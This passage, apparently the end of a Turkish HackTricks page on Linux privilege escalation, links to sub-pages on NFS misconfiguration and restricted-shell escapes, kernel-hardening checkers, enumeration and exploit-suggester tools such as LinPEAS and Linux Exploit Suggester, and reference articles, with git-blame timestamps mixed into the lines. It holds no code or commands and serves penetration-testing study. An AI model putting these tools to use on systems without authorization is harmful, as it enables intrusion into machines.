2021-10-10 21:09:04 +00:00
{% content-ref url="nfs-no_root_squash-misconfiguration-pe.md" %}
2021-11-04 00:33:15 +00:00
[nfs-no\_root\_squash-misconfiguration-pe.md](nfs-no\_root\_squash-misconfiguration-pe.md)
2021-10-10 21:09:04 +00:00
{% endcontent-ref %}
2024-02-10 18:14:16 +00:00
### Kısıtlanmış Kabuklardan Kaçma
2021-10-10 21:09:04 +00:00
{% content-ref url="escaping-from-limited-bash.md" %}
[escaping-from-limited-bash.md](escaping-from-limited-bash.md)
{% endcontent-ref %}
2022-05-01 16:57:45 +00:00
### Cisco - vmanage
2020-08-25 09:31:20 +00:00
2021-10-10 21:09:04 +00:00
{% content-ref url="cisco-vmanage.md" %}
[cisco-vmanage.md](cisco-vmanage.md)
{% endcontent-ref %}
2020-08-25 09:31:20 +00:00
## Çekirdek Güvenlik Korumaları
* [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check)
* [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map)
2024-02-10 18:14:16 +00:00
## Daha Fazla Yardım
2024-02-10 18:14:16 +00:00
[Statik impacket ikili dosyaları](https://github.com/ropnop/impacket\_static\_binaries)
## Linux/Unix Yetki Yükseltme Araçları
### **Linux yerel yetki yükseltme vektörlerini aramak için en iyi araç:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
2024-02-10 18:14:16 +00:00
**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t seçeneği)\
2021-10-10 21:09:04 +00:00
**Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\
**Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\
**Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\
**BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\
**Kernelpop:** Linux ve MAC'te çekirdek zafiyetlerini sıralar [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
2021-11-04 00:33:15 +00:00
**Mestaploit:** _**multi/recon/local\_exploit\_suggester**_\
2021-10-10 21:09:04 +00:00
**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
2024-02-10 18:14:16 +00:00
**EvilAbigail (fiziksel erişim):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
**Daha fazla betik derlemesi**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
2024-02-10 18:14:16 +00:00
## Referanslar
2024-04-06 19:40:41 +00:00
* [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\\
* [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\\
* [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)\\
* [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html)\\
* [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827)\\
* [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf)\\
* [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation)\\
* [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)\\
2024-02-07 04:06:18 +00:00
* [https://github.com/rtcrowley/linux-private-i](https://github.com/rtcrowley/linux-private-i)
* [https://www.linux.com/news/what-socket/](https://www.linux.com/news/what-socket/)
* [https://muzec0318.github.io/posts/PG/peppo.html](https://muzec0318.github.io/posts/PG/peppo.html)
* [https://www.linuxjournal.com/article/7744](https://www.linuxjournal.com/article/7744)
* [https://blog.certcube.com/suid-executables-linux-privilege-escalation/](https://blog.certcube.com/suid-executables-linux-privilege-escalation/)
* [https://juggernaut-sec.com/sudo-part-2-lpe](https://juggernaut-sec.com/sudo-part-2-lpe)
* [https://linuxconfig.org/how-to-manage-acls-on-linux](https://linuxconfig.org/how-to-manage-acls-on-linux)
2024-04-06 19:40:41 +00:00
* [https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f)
2024-02-07 04:06:18 +00:00
* [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
{% hint style="success" %}
AWS Hacking öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
</details>
{% endhint %}